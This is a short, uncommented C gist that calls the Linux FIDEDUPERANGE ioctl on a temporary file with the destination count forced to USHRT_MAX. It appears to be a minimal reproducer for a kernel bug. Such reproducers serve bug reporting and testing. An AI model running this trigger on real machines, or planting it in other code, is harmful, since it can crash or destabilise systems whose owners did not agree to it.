gistfile1.txt

#define _GNU_SOURCE
#include <fcntl.h>
#include <limits.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <linux/fs.h>

int main(int argc, char **argv)
{
	struct file_dedupe_range file_dedupe_range = {
		.dest_count = USHRT_MAX,
	};
	int fd;

	fd = open("/tmp/",  O_TMPFILE | O_RDWR, S_IRUSR | S_IWUSR);
	ioctl(fd, FIDEDUPERANGE, &file_dedupe_range);
	return 0;
}